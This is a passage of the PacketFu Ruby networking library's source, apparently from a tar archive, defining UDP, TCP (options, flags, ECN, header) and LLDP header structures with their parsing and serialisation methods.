Getter for the UDP source port. def udp_src; self[:udp_src].to_i; end # Setter for the UDP destination port. def udp_dst=(i); typecast i; end # Getter for the UDP destination port. def udp_dst; self[:udp_dst].to_i; end # Setter for the length field. Usually should be recalc()'ed instead. def udp_len=(i); typecast i; end # Getter for the length field. def udp_len; self[:udp_len].to_i; end # Setter for the checksum. Usually should be recalc()'ed instad. def udp_sum=(i); typecast i; end # Getter for the checksum. def udp_sum; self[:udp_sum].to_i; end # Returns the true length of the UDP packet. def udp_calc_len body.to_s.size + 8 end # Recalculates calculated fields for UDP. def udp_recalc(args=:all) arg = arg.intern if arg.respond_to? :intern case args when :udp_len self.udp_len = udp_calc_len when :all self.udp_recalc(:udp_len) else raise ArgumentError, "No such field `#{arg}'" end end # Equivalent to udp_src.to_i def udp_sport self.udp_src end # Equivalent to udp_src= def udp_sport=(arg) self.udp_src=(arg) end # Equivalent to udp_dst def udp_dport self.udp_dst end # Equivalent to udp_dst= def udp_dport=(arg) self.udp_dst=(arg) end # Readability aliases def udp_sum_readable "0x%04x" % udp_sum end end end packetfu-1.1.11/lib/packetfu/protos/udp/mixin.rb0000644000004100000410000000207512573107241021572 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the UDPHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'udp_header' method (assuming that it is a UDPHeader object) module UDPHeaderMixin def udp_src=(v); self.udp_header.udp_src= v; end def udp_src; self.udp_header.udp_src; end def udp_dst=(v); self.udp_header.udp_dst= v; end def udp_dst; self.udp_header.udp_dst; end def udp_len=(v); self.udp_header.udp_len= v; end def udp_len; self.udp_header.udp_len; end def udp_sum=(v); self.udp_header.udp_sum= v; end def udp_sum; self.udp_header.udp_sum; end def udp_calc_len; self.udp_header.udp_calc_len; end def udp_recalc(*v); self.udp_header.udp_recalc(*v); end def udp_sport; self.udp_header.udp_sport; end def udp_sport=(v); self.udp_header.udp_sport= v; end def udp_dport; self.udp_header.udp_dport; end def udp_dport=(v); self.udp_header.udp_dport= v; end def udp_sum_readable; self.udp_header.udp_sum_readable; end end end packetfu-1.1.11/lib/packetfu/protos/tcp/0000755000004100000410000000000012573107241020113 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/tcp/options.rb0000644000004100000410000000662612573107241022145 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/tcp/option' module PacketFu class TcpOptions < Array include StructFu # If args[:pad] is set, the options line is automatically padded out # with NOPs. def to_s(args={}) opts = self.map {|x| x.to_s}.join if args[:pad] unless (opts.size % 4).zero? (4 - (opts.size % 4)).times { opts << "\x01" } end end opts end # Reads a string to populate the object. def read(str) self.clear PacketFu.force_binary(str) return self if(!str.respond_to? :to_s || str.nil?) i = 0 while i < str.to_s.size this_opt = case str[i,1].unpack("C").first when 0; ::PacketFu::TcpOption::EOL.new when 1; ::PacketFu::TcpOption::NOP.new when 2; ::PacketFu::TcpOption::MSS.new when 3; ::PacketFu::TcpOption::WS.new when 4; ::PacketFu::TcpOption::SACKOK.new when 5; ::PacketFu::TcpOption::SACK.new when 6; ::PacketFu::TcpOption::ECHO.new when 7; ::PacketFu::TcpOption::ECHOREPLY.new when 8; ::PacketFu::TcpOption::TS.new else; ::PacketFu::TcpOption.new end this_opt.read str[i,str.size] unless this_opt.has_optlen? this_opt.value = nil this_opt.optlen = nil end self << this_opt i += this_opt.sz end self end # Decode parses the TcpOptions object's member options, and produces a # human-readable string by iterating over each element's decode() function. # If TcpOptions elements were not initially created as TcpOptions, an # attempt will be made to convert them. # # The output of decode is suitable as input for TcpOptions#encode. def decode decoded = self.map do |x| if x.kind_of? TcpOption x.decode else x = TcpOptions.new.read(x).decode end end decoded.join(",") end # Encode takes a human-readable string and appends the corresponding # binary options to the TcpOptions object. To completely replace the contents # of the object, use TcpOptions#encode! instead. # # Options are comma-delimited, and are identical to the output of the # TcpOptions#decode function. Note that the syntax can be unforgiving, so # it may be easier to create the subclassed TcpOptions themselves directly, # but this method can be less typing if you know what you're doing. # # Note that by using TcpOptions#encode, strings supplied as values which # can be converted to numbers will be converted first. # # === Example # # t = TcpOptions.new # t.encode("MS:1460,WS:6") # t.to_s # => "\002\004\005\264\002\003\006" # t.encode("NOP") # t.to_s # => "\002\004\005\264\002\003\006\001" def encode(str) opts = str.split(/[\s]*,[\s]*/) opts.each do |o| kind,value = o.split(/[\s]*:[\s]*/) klass = TcpOption.const_get(kind.upcase) value = value.to_i if value =~ /^[0-9]+$/ this_opt = klass.new this_opt.encode(value) self << this_opt end self end # Like TcpOption#encode, except the entire contents are replaced. def encode!(str) self.clear if self.size > 0 encode(str) end end end packetfu-1.1.11/lib/packetfu/protos/tcp/ecn.rb0000644000004100000410000000201212573107241021200 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # Implements the Explict Congestion Notification for TCPHeader. # # ==== Header Definition # # # Fixnum (1 bit) :n # Fixnum (1 bit) :c # Fixnum (1 bit) :e class TcpEcn < Struct.new(:n, :c, :e) include StructFu def initialize(args={}) super(args[:n], args[:c], args[:e]) if args end # Returns the TcpEcn field as an integer... even though it's going # to be split across a byte boundary. def to_i (n.to_i << 2) + (c.to_i << 1) + e.to_i end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? || str.size < 2 if 1.respond_to? :ord byte1 = str[0].ord byte2 = str[1].ord else byte1 = str[0] byte2 = str[1] end self[:n] = byte1 & 0b00000001 == 0b00000001 ? 1 : 0 self[:c] = byte2 & 0b10000000 == 0b10000000 ? 1 : 0 self[:e] = byte2 & 0b01000000 == 0b01000000 ? 1 : 0 self end end end packetfu-1.1.11/lib/packetfu/protos/tcp/flags.rb0000644000004100000410000000465012573107241021541 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # Implements flags for TCPHeader. # # ==== Header Definition # # Fixnum (1 bit) :urg # Fixnum (1 bit) :ack # Fixnum (1 bit) :psh # Fixnum (1 bit) :rst # Fixnum (1 bit) :syn # Fixnum (1 bit) :fin # # Flags can typically be set by setting them either to 1 or 0, or to true or false. class TcpFlags < Struct.new(:urg, :ack, :psh, :rst, :syn, :fin) include StructFu def initialize(args={}) # This technique attemts to ensure that flags are always 0 (off) # or 1 (on). Statements like nil and false shouldn't be lurking in here. if args.nil? || args.size.zero? super( 0, 0, 0, 0, 0, 0) else super( (args[:urg] ? 1 : 0), (args[:ack] ? 1 : 0), (args[:psh] ? 1 : 0), (args[:rst] ? 1 : 0), (args[:syn] ? 1 : 0), (args[:fin] ? 1 : 0) ) end end # Returns the TcpFlags as an integer. # Also not a great candidate for to_s due to the short bitspace. def to_i (urg.to_i << 5) + (ack.to_i << 4) + (psh.to_i << 3) + (rst.to_i << 2) + (syn.to_i << 1) + fin.to_i end # Helper to determine if this flag is a 1 or a 0. def zero_or_one(i=0) if i == 0 || i == false || i == nil 0 else 1 end end # Setter for the Urgent flag. def urg=(i); self[:urg] = zero_or_one(i); end # Setter for the Acknowlege flag. def ack=(i); self[:ack] = zero_or_one(i); end # Setter for the Push flag. def psh=(i); self[:psh] = zero_or_one(i); end # Setter for the Reset flag. def rst=(i); self[:rst] = zero_or_one(i); end # Setter for the Synchronize flag. def syn=(i); self[:syn] = zero_or_one(i); end # Setter for the Finish flag. def fin=(i); self[:fin] = zero_or_one(i); end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? if 1.respond_to? :ord byte = str[0].ord else byte = str[0] end self[:urg] = byte & 0b00100000 == 0b00100000 ? 1 : 0 self[:ack] = byte & 0b00010000 == 0b00010000 ? 1 : 0 self[:psh] = byte & 0b00001000 == 0b00001000 ? 1 : 0 self[:rst] = byte & 0b00000100 == 0b00000100 ? 1 : 0 self[:syn] = byte & 0b00000010 == 0b00000010 ? 1 : 0 self[:fin] = byte & 0b00000001 == 0b00000001 ? 1 : 0 self end end end packetfu-1.1.11/lib/packetfu/protos/tcp/header.rb0000644000004100000410000002107712573107241021677 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/tcp/reserved' require 'packetfu/protos/tcp/hlen' require 'packetfu/protos/tcp/ecn' require 'packetfu/protos/tcp/flags' require 'packetfu/protos/tcp/option' require 'packetfu/protos/tcp/options' module PacketFu # TCPHeader is a complete TCP struct, used in TCPPacket. Most IP traffic is TCP-based, by # volume. # # For more on TCP packets, see http://www.networksorcery.com/enp/protocol/tcp.htm # # ==== Header Definition # # Int16 :tcp_src Default: random # Int16 :tcp_dst # Int32 :tcp_seq Default: random # Int32 :tcp_ack # TcpHlen :tcp_hlen Default: 5 # Must recalc as options are set. # TcpReserved :tcp_reserved Default: 0 # TcpEcn :tcp_ecn # TcpFlags :tcp_flags # Int16 :tcp_win, Default: 0 # WinXP's default syn packet # Int16 :tcp_sum, Default: calculated # Must set this upon generation. # Int16 :tcp_urg # TcpOptions :tcp_opts # String :body # # See also TcpHlen, TcpReserved, TcpEcn, TcpFlags, TcpOpts class TCPHeader < Struct.new(:tcp_src, :tcp_dst, :tcp_seq, :tcp_ack, :tcp_hlen, :tcp_reserved, :tcp_ecn, :tcp_flags, :tcp_win, :tcp_sum, :tcp_urg, :tcp_opts, :body) include StructFu def initialize(args={}) @random_seq = rand(0xffffffff) @random_src = rand_port super( Int16.new(args[:tcp_src] || tcp_calc_src), Int16.new(args[:tcp_dst]), Int32.new(args[:tcp_seq] || tcp_calc_seq), Int32.new(args[:tcp_ack]), TcpHlen.new(:hlen => (args[:tcp_hlen] || 5)), TcpReserved.new(args[:tcp_reserved] || 0), TcpEcn.new(args[:tcp_ecn]), TcpFlags.new(args[:tcp_flags]), Int16.new(args[:tcp_win] || 0x4000), Int16.new(args[:tcp_sum] || 0), Int16.new(args[:tcp_urg]), TcpOptions.new.read(args[:tcp_opts]), StructFu::String.new.read(args[:body]) ) end attr_accessor :flavor # Helper function to create the string for Hlen, Reserved, ECN, and Flags. def bits_to_s bytes = [] bytes[0] = (self[:tcp_hlen].to_i << 4) + (self[:tcp_reserved].to_i << 1) + self[:tcp_ecn].n.to_i bytes[1] = (self[:tcp_ecn].c.to_i << 7) + (self[:tcp_ecn].e.to_i << 6) + self[:tcp_flags].to_i bytes.pack("CC") end # Returns the object in string form. def to_s hdr = self.to_a.map do |x| if x.kind_of? TcpHlen bits_to_s elsif x.kind_of? TcpReserved next elsif x.kind_of? TcpEcn next elsif x.kind_of? TcpFlags next else x.to_s end end hdr.flatten.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:tcp_src].read(str[0,2]) self[:tcp_dst].read(str[2,2]) self[:tcp_seq].read(str[4,4]) self[:tcp_ack].read(str[8,4]) self[:tcp_hlen].read(str[12,1]) self[:tcp_reserved].read(str[12,1]) self[:tcp_ecn].read(str[12,2]) self[:tcp_flags].read(str[13,1]) self[:tcp_win].read(str[14,2]) self[:tcp_sum].read(str[16,2]) self[:tcp_urg].read(str[18,2]) self[:tcp_opts].read(str[20,((self[:tcp_hlen].to_i * 4) - 20)]) self[:body].read(str[(self[:tcp_hlen].to_i * 4),str.size]) self end # Setter for the TCP source port. def tcp_src=(i); typecast i; end # Getter for the TCP source port. def tcp_src; self[:tcp_src].to_i; end # Setter for the TCP destination port. def tcp_dst=(i); typecast i; end # Getter for the TCP destination port. def tcp_dst; self[:tcp_dst].to_i; end # Setter for the TCP sequence number. def tcp_seq=(i); typecast i; end # Getter for the TCP sequence number. def tcp_seq; self[:tcp_seq].to_i; end # Setter for the TCP ackowlegement number. def tcp_ack=(i); typecast i; end # Getter for the TCP ackowlegement number. def tcp_ack; self[:tcp_ack].to_i; end # Setter for the TCP window size number. def tcp_win=(i); typecast i; end # Getter for the TCP window size number. def tcp_win; self[:tcp_win].to_i; end # Setter for the TCP checksum. def tcp_sum=(i); typecast i; end # Getter for the TCP checksum. def tcp_sum; self[:tcp_sum].to_i; end # Setter for the TCP urgent field. def tcp_urg=(i); typecast i; end # Getter for the TCP urgent field. def tcp_urg; self[:tcp_urg].to_i; end # Getter for the TCP Header Length value. def tcp_hlen; self[:tcp_hlen].to_i; end # Setter for the TCP Header Length value. Can take # either a string or an integer. Note that if it's # a string, the top four bits are used. def tcp_hlen=(i) case i when PacketFu::TcpHlen self[:tcp_hlen] = i when Numeric self[:tcp_hlen] = TcpHlen.new(:hlen => i.to_i) else self[:tcp_hlen].read(i) end end # Getter for the TCP Reserved field. def tcp_reserved; self[:tcp_reserved].to_i; end # Setter for the TCP Reserved field. def tcp_reserved=(i) case i when PacketFu::TcpReserved self[:tcp_reserved]=i when Numeric args = {} args[:r1] = (i & 0b100) >> 2 args[:r2] = (i & 0b010) >> 1 args[:r3] = (i & 0b001) self[:tcp_reserved] = TcpReserved.new(args) else self[:tcp_reserved].read(i) end end # Getter for the ECN bits. def tcp_ecn; self[:tcp_ecn].to_i; end # Setter for the ECN bits. def tcp_ecn=(i) case i when PacketFu::TcpEcn self[:tcp_ecn]=i when Numeric args = {} args[:n] = (i & 0b100) >> 2 args[:c] = (i & 0b010) >> 1 args[:e] = (i & 0b001) self[:tcp_ecn] = TcpEcn.new(args) else self[:tcp_ecn].read(i) end end # Getter for TCP Options. def tcp_opts; self[:tcp_opts].to_s; end # Setter for TCP Options. def tcp_opts=(i) case i when PacketFu::TcpOptions self[:tcp_opts]=i else self[:tcp_opts].read(i) end end # Resets the sequence number to a new random number. def tcp_calc_seq; @random_seq; end # Resets the source port to a new random number. def tcp_calc_src; @random_src; end # Returns the actual length of the TCP options. def tcp_opts_len self[:tcp_opts].to_s.size end # Sets and returns the true length of the TCP Header. # TODO: Think about making all the option stuff safer. def tcp_calc_hlen self[:tcp_hlen] = TcpHlen.new(:hlen => ((20 + tcp_opts_len) / 4)) end # Generates a random high port. This is affected by packet flavor. def rand_port rand(0xffff - 1025) + 1025 end # Gets a more readable option list. def tcp_options self[:tcp_opts].decode end # Gets a more readable flags list def tcp_flags_dotmap dotmap = tcp_flags.members.map do |flag| status = self.tcp_flags.send flag status == 0 ? "." : flag.to_s.upcase[0].chr end dotmap.join end # Sets a more readable option list. def tcp_options=(arg) self[:tcp_opts].encode arg end # Equivalent to tcp_src. def tcp_sport self.tcp_src.to_i end # Equivalent to tcp_src=. def tcp_sport=(arg) self.tcp_src=(arg) end # Equivalent to tcp_dst. def tcp_dport self.tcp_dst.to_i end # Equivalent to tcp_dst=. def tcp_dport=(arg) self.tcp_dst=(arg) end # Recalculates calculated fields for TCP (except checksum which is at the Packet level). def tcp_recalc(arg=:all) case arg when :tcp_hlen tcp_calc_hlen when :tcp_src @random_tcp_src = rand_port when :tcp_sport @random_tcp_src = rand_port when :tcp_seq @random_tcp_seq = rand(0xffffffff) when :all tcp_calc_hlen @random_tcp_src = rand_port @random_tcp_seq = rand(0xffffffff) else raise ArgumentError, "No such field `#{arg}'" end end # Readability aliases alias :tcp_flags_readable :tcp_flags_dotmap def tcp_ack_readable "0x%08x" % tcp_ack end def tcp_seq_readable "0x%08x" % tcp_seq end def tcp_sum_readable "0x%04x" % tcp_sum end def tcp_opts_readable tcp_options end end end packetfu-1.1.11/lib/packetfu/protos/tcp/hlen.rb0000644000004100000410000000162112573107241021366 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # Implements the Header Length for TCPHeader. # # ==== Header Definition # # Fixnum (4 bits) :hlen class TcpHlen < Struct.new(:hlen) include StructFu def initialize(args={}) super(args[:hlen]) end # Returns the TcpHlen field as an integer. Note these will become the high # bits at the TCP header's offset, even though the lower 4 bits # will be further chopped up. def to_i hlen.to_i & 0b1111 end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? || str.size.zero? if 1.respond_to? :ord self[:hlen] = (str[0].ord & 0b11110000) >> 4 else self[:hlen] = (str[0] & 0b11110000) >> 4 end self end # Returns the object in string form. def to_s [self.to_i].pack("C") end end end packetfu-1.1.11/lib/packetfu/protos/tcp/mixin.rb0000644000004100000410000000473312573107241021573 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the TCPHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'tcp_header' method (assuming that it is a TCPHeader object) module TCPHeaderMixin def tcp_src=(v); self.tcp_header.tcp_src= v; end def tcp_src; self.tcp_header.tcp_src; end def tcp_dst=(v); self.tcp_header.tcp_dst= v; end def tcp_dst; self.tcp_header.tcp_dst; end def tcp_seq=(v); self.tcp_header.tcp_seq= v; end def tcp_seq; self.tcp_header.tcp_seq; end def tcp_ack=(v); self.tcp_header.tcp_ack= v; end def tcp_ack; self.tcp_header.tcp_ack; end def tcp_win=(v); self.tcp_header.tcp_win= v; end def tcp_win; self.tcp_header.tcp_win; end def tcp_sum=(v); self.tcp_header.tcp_sum= v; end def tcp_sum; self.tcp_header.tcp_sum; end def tcp_urg=(v); self.tcp_header.tcp_urg= v; end def tcp_urg; self.tcp_header.tcp_urg; end def tcp_hlen; self.tcp_header.tcp_hlen; end def tcp_hlen=(v); self.tcp_header.tcp_hlen= v; end def tcp_reserved; self.tcp_header.tcp_reserved; end def tcp_reserved=(v); self.tcp_header.tcp_reserved= v; end def tcp_ecn; self.tcp_header.tcp_ecn; end def tcp_ecn=(v); self.tcp_header.tcp_ecn= v; end def tcp_opts; self.tcp_header.tcp_opts; end def tcp_opts=(v); self.tcp_header.tcp_opts= v; end def tcp_calc_seq; self.tcp_header.tcp_calc_seq; end def tcp_calc_src; self.tcp_header.tcp_calc_src; end def tcp_opts_len; self.tcp_header.tcp_opts_len; end def tcp_calc_hlen; self.tcp_header.tcp_calc_hlen; end def tcp_options; self.tcp_header.tcp_options; end def tcp_flags_dotmap; self.tcp_header.tcp_flags_dotmap; end def tcp_options=(v); self.tcp_header.tcp_options= v; end def tcp_sport; self.tcp_header.tcp_sport; end def tcp_sport=(v); self.tcp_header.tcp_sport= v; end def tcp_dport; self.tcp_header.tcp_dport; end def tcp_dport=(v); self.tcp_header.tcp_dport= v; end def tcp_recalc(*v); self.tcp_header.tcp_recalc(*v); end def tcp_flags_readable; self.tcp_header.tcp_flags_readable; end def tcp_ack_readable; self.tcp_header.tcp_ack_readable; end def tcp_seq_readable; self.tcp_header.tcp_seq_readable; end def tcp_sum_readable; self.tcp_header.tcp_sum_readable; end def tcp_opts_readable; self.tcp_header.tcp_opts_readable; end def tcp_flags; self.tcp_header.tcp_flags; end def tcp_flags=(v); self.tcp_header.tcp_flags= v; end end end packetfu-1.1.11/lib/packetfu/protos/tcp/reserved.rb0000644000004100000410000000171412573107241022262 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # Implements the Reserved bits for TCPHeader. # # ==== Header Definition # # # Fixnum (1 bit) :r1 # Fixnum (1 bit) :r2 # Fixnum (1 bit) :r3 class TcpReserved < Struct.new(:r1, :r2, :r3) include StructFu def initialize(args={}) super( args[:r1] || 0, args[:r2] || 0, args[:r3] || 0) if args.kind_of? Hash end # Returns the Reserved field as an integer. def to_i (r1.to_i << 2) + (r2.to_i << 1) + r3.to_i end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? || str.size.zero? if 1.respond_to? :ord byte = str[0].ord else byte = str[0] end self[:r1] = byte & 0b00000100 == 0b00000100 ? 1 : 0 self[:r2] = byte & 0b00000010 == 0b00000010 ? 1 : 0 self[:r3] = byte & 0b00000001 == 0b00000001 ? 1 : 0 self end end end packetfu-1.1.11/lib/packetfu/protos/tcp/option.rb0000644000004100000410000002056312573107241021756 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # TcpOption is the base class for all TCP options. Note that TcpOption#len # returns the size of the entire option, while TcpOption#optlen is the struct # for the TCP Option Length field. # # Subclassed options should set the correct TcpOption#kind by redefining # initialize. They should also deal with various value types there by setting # them explicitly with an accompanying StructFu#typecast for the setter. # # By default, values are presumed to be strings, unless they are Numeric, in # which case a guess is made to the width of the Numeric based on the given # optlen. # # Note that normally, optlen is /not/ enforced for directly setting values, # so the user is perfectly capable of setting incorrect lengths. class TcpOption < Struct.new(:kind, :optlen, :value) include StructFu def initialize(args={}) super( Int8.new(args[:kind]), Int8.new(args[:optlen]) ) if args[:value].kind_of? Numeric self[:value] = case args[:optlen] when 3; Int8.new(args[:value]) when 4; Int16.new(args[:value]) when 6; Int32.new(args[:value]) else; StructFu::String.new.read(args[:value]) end else self[:value] = StructFu::String.new.read(args[:value]) end end # Returns the object in string form. def to_s self[:kind].to_s + (self[:optlen].value.nil? ? nil : self[:optlen]).to_s + (self[:value].nil? ? nil : self[:value]).to_s end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:kind].read(str[0,1]) if str[1,1] self[:optlen].read(str[1,1]) if str[2,1] && optlen.value > 2 self[:value].read(str[2,optlen.value-2]) end end self end # The default decode for an unknown option. Known options should redefine this. def decode unk = "unk-#{self.kind.to_i}" (self[:optlen].to_i > 2 && self[:value].to_s.size > 1) ? [unk,self[:value]].join(":") : unk end # Setter for the "kind" byte of this option. def kind=(i); typecast i; end # Setter for the "option length" byte for this option. def optlen=(i); typecast i; end # Setter for the value of this option. def value=(i) if i.kind_of? Numeric typecast i elsif i.respond_to? :to_s self[:value] = i else self[:value] = '' end end # Generally, encoding a value is going to be just a read. Some # options will treat things a little differently; TS for example, # takes two values and concatenates them. def encode(str) self[:value] = self.class.new(:value => str).value end # Returns true if this option has an optlen. Some don't. def has_optlen? (kind.value && kind.value < 2) ? false : true end # Returns true if this option has a value. Some don't. def has_value? (value.respond_to? :to_s && value.to_s.size > 0) ? false : true end # End of Line option. Usually used to terminate a string of options. # # http://www.networksorcery.com/enp/protocol/tcp/option000.htm class EOL < TcpOption def initialize(args={}) super( args.merge(:kind => 0) ) end def decode "EOL" end end # No Operation option. Usually used to pad out options to fit a 4-byte alignment. # # http://www.networksorcery.com/enp/protocol/tcp/option001.htm class NOP < TcpOption def initialize(args={}) super( args.merge(:kind => 1) ) end def decode "NOP" end end # Maximum Segment Size option. # # http://www.networksorcery.com/enp/protocol/tcp/option002.htm class MSS < TcpOption def initialize(args={}) super( args.merge(:kind => 2, :optlen => 4 ) ) self[:value] = Int16.new(args[:value]) end def value=(i); typecast i; end # MSS options with lengths other than 4 are malformed. def decode if self[:optlen].to_i == 4 "MSS:#{self[:value].to_i}" else "MSS-bad:#{self[:value]}" end end end # Window Size option. # # http://www.networksorcery.com/enp/protocol/tcp/option003.htm class WS < TcpOption def initialize(args={}) super( args.merge(:kind => 3, :optlen => 3 ) ) self[:value] = Int8.new(args[:value]) end def value=(i); typecast i; end # WS options with lengths other than 3 are malformed. def decode if self[:optlen].to_i == 3 "WS:#{self[:value].to_i}" else "WS-bad:#{self[:value]}" end end end # Selective Acknowlegment OK option. # # http://www.networksorcery.com/enp/protocol/tcp/option004.htm class SACKOK < TcpOption def initialize(args={}) super( args.merge(:kind => 4, :optlen => 2) ) end # SACKOK options with sizes other than 2 are malformed. def decode if self[:optlen].to_i == 2 "SACKOK" else "SACKOK-bad:#{self[:value]}" end end end # Selective Acknowledgement option. # # http://www.networksorcery.com/enp/protocol/tcp/option004.htm # # Note that SACK always takes its optlen from the size of the string. class SACK < TcpOption def initialize(args={}) super( args.merge(:kind => 5, :optlen => ((args[:value] || "").size + 2) ) ) end def optlen=(i); typecast i; end def value=(i) self[:optlen] = Int8.new(i.to_s.size + 2) self[:value] = StructFu::String.new(i) end def decode "SACK:#{self[:value]}" end def encode(str) temp_obj = self.class.new(:value => str) self[:value] = temp_obj.value self[:optlen] = temp_obj.optlen.value self end end # Echo option. # # http://www.networksorcery.com/enp/protocol/tcp/option006.htm class ECHO < TcpOption def initialize(args={}) super( args.merge(:kind => 6, :optlen => 6 ) ) end # ECHO options with lengths other than 6 are malformed. def decode if self[:optlen].to_i == 6 "ECHO:#{self[:value]}" else "ECHO-bad:#{self[:value]}" end end end # Echo Reply option. # # http://www.networksorcery.com/enp/protocol/tcp/option007.htm class ECHOREPLY < TcpOption def initialize(args={}) super( args.merge(:kind => 7, :optlen => 6 ) ) end # ECHOREPLY options with lengths other than 6 are malformed. def decode if self[:optlen].to_i == 6 "ECHOREPLY:#{self[:value]}" else "ECHOREPLY-bad:#{self[:value]}" end end end # Timestamp option # # http://www.networksorcery.com/enp/protocol/tcp/option008.htm class TS < TcpOption def initialize(args={}) super( args.merge(:kind => 8, :optlen => 10 ) ) self[:value] = StructFu::String.new.read(args[:value] || "\x00" * 8) end # TS options with lengths other than 10 are malformed. def decode if self[:optlen].to_i == 10 val1,val2 = self[:value].unpack("NN") "TS:#{val1};#{val2}" else "TS-bad:#{self[:value]}" end end # TS options are in the format of "TS:[timestamp value];[timestamp secret]" Both # should be written as decimal numbers. def encode(str) if str =~ /^([0-9]+);([0-9]+)$/ tsval,tsecr = str.split(";").map {|x| x.to_i} if tsval <= 0xffffffff && tsecr <= 0xffffffff self[:value] = StructFu::String.new([tsval,tsecr].pack("NN")) else self[:value] = StructFu::String.new(str) end else self[:value] = StructFu::String.new(str) end end end end end packetfu-1.1.11/lib/packetfu/protos/lldp/0000755000004100000410000000000012573107241020260 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/lldp/header.rb0000644000004100000410000002140212573107241022034 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # LLDPHeader is a complete LLDP struct, used in LLDPPacket. class LLDPHeader < Struct.new(:lldp_chassis_id_type, :lldp_chassis_id, :lldp_port_id_type, :lldp_port_id, :lldp_ttl, :lldp_port_description, :lldp_system_name, :lldp_system_description, :lldp_capabilty, :lldp_enabled_capability, :lldp_address_type, :lldp_address, :lldp_interface_type, :lldp_interface, :lldp_oid) include StructFu def initialize(args={}) src_mac = (args[:lldp_port_id] if :lldp_port_id_type == 3) || (args[:config][:eth_src] if args[:config]) src_ip_bin = (args[:lldp_address] if :lldp_address_type == 1) || (args[:config][:ip_src_bin] if args[:config]) super(Int8.new(args[:lldp_chassis_id_type] || 4), StructFu::String.new.read(:lldp_chassis_id), Int8.new(args[:lldp_port_id_type] || 3), EthMac.new.read(src_mac), Int16.new(args[:lldp_ttl] || 120), StructFu::String.new.read(:lldp_port_description) || "", StructFu::String.new.read(:lldp_system_name) || "", StructFu::String.new.read(:lldp_system_description) || "", Int16.new(args[:lldp_capabilty] || 0x0080), Int16.new(args[:lldp_enabled_capability] || 0x0080), Int8.new(args[:lldp_address_type] || 1), StructFu::String.new.read(:lldp_address) || src_ip_bin, Int8.new(args[:lldp_interface_type] || 2), Int32.new(args[:lldp_interface]), StructFu::String.new.read(:lldp_oid) || "" ) end # Returns the object in string form. def to_s self.to_a.map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? index = 0 #check for lldp pdu end while (str[index,2] != "\x00\x00") && (index+2 < str.size) tlv_known = false #chassis subtype if str[index,1] == "\x02" tlv_known = true tlv_length = str[index+1,1].unpack("U*").join.to_i self[:lldp_chassis_id_type].read(str[index+2,1]) self[:lldp_chassis_id].read(str[index+3, tlv_length - 1]) index += tlv_length + 2 end #port subtype if str[index,1] == "\x04" tlv_known = true tlv_length = str[index+1,1].unpack("U*").join.to_i self[:lldp_port_id_type].read(str[index+2,1]) self[:lldp_port_id].read(str[index+3, tlv_length - 1]) index += tlv_length + 2 end #ttl subtype if str[index,1] == "\x06" tlv_known = true tlv_length = str[index+1,1].unpack("U*").join.to_i self[:lldp_ttl].read(str[index+2, tlv_length]) index += tlv_length + 2 end #port description if str[index,1] == "\x08" tlv_known = true tlv_length = str[index+1,1].unpack("U*").join.to_i self[:lldp_port_description].read(str[index+2, tlv_length]) index += tlv_length + 2 end #system name if str[index,1] == "\x0a" tlv_known = true tlv_length = str[index+1,1].unpack("U*").join.to_i self[:lldp_system_name].read(str[index+2, tlv_length]) index += tlv_length + 2 end #system description if str[index,1] == "\x0c" tlv_known = true tlv_length = str[index+1,1].unpack("U*").join.to_i self[:lldp_system_description].read(str[index+2, tlv_length]) index += tlv_length + 2 end #system capabilities if str[index,1] == "\x0e" tlv_known = true tlv_length = str[index+1,1].unpack("U*").join.to_i self[:lldp_capabilty].read(str[index+2, 2]) self[:lldp_enabled_capability].read(str[index+4, 2]) index += tlv_length + 2 end #management address if str[index,1] == "\x10" tlv_known = true tlv_length = str[index + 1,1].unpack("U*").join.to_i addr_length = str[index + 2, 1].unpack("U*").join.to_i self[:lldp_address_type].read(str[index + 3, 1]) self[:lldp_address].read(str[index + 4,addr_length - 1]) self[:lldp_interface_type].read(str[index + addr_length + 3, 1].unpack("U*").join.to_i) self[:lldp_interface].read(str[index + addr_length + 4, 4]) oid_string_length = str[index + addr_length + 8, 1].unpack("U*").join.to_i if oid_string_length > 0 self[:lldp_oid].read(str[index + addr_length + 9, oid_string_length]) end index += tlv_length + 2 end #if tlv type is unknown jump over it unless tlv_known tlv_length = str[index+1,1].unpack("U*").join.to_i index += tlv_length + 2 end end self end # Setter for the LLDP chassis id type. def lldp_chassis_id_type=(i); typecast i; end # Getter for the LLDP chassis id type. def lldp_chassis_id_type; self[:lldp_chassis_id_type].to_i; end # Setter for the LLDP chassis id. def lldp_chassis_id=(i); typecast i; end # Getter for the LLDP chassis id . def lldp_chassis_id_readable() if self[:lldp_chassis_id_type].to_i == 4 return EthHeader.str2mac(self[:lldp_chassis_id].to_s) else return self[:lldp_chassis_id].to_s end end # Setter for the LLDP port id type. def lldp_port_id_type=(i); typecast i; end # Getter for the LLDP port id type. def lldp_port_id_type; self[:lldp_port_id_type].to_i; end # Setter for the LLDP port id . def lldp_port_id=(i); typecast i; end # Getter for the LLDP port id. def lldp_port_id_readable() #if mac addr if self[:lldp_port_id_type].to_i == 3 return EthHeader.str2mac(self[:lldp_port_id].to_s) else return self[:lldp_port_id].to_s end end # Set the source MAC address in a more readable way. def lldp_saddr_mac=(mac) mac = EthHeader.mac2str(mac) self[:lldp_port_id_type] = 3 self[:lldp_port_id].read(mac) self.lldp_port_id end # Setter for the 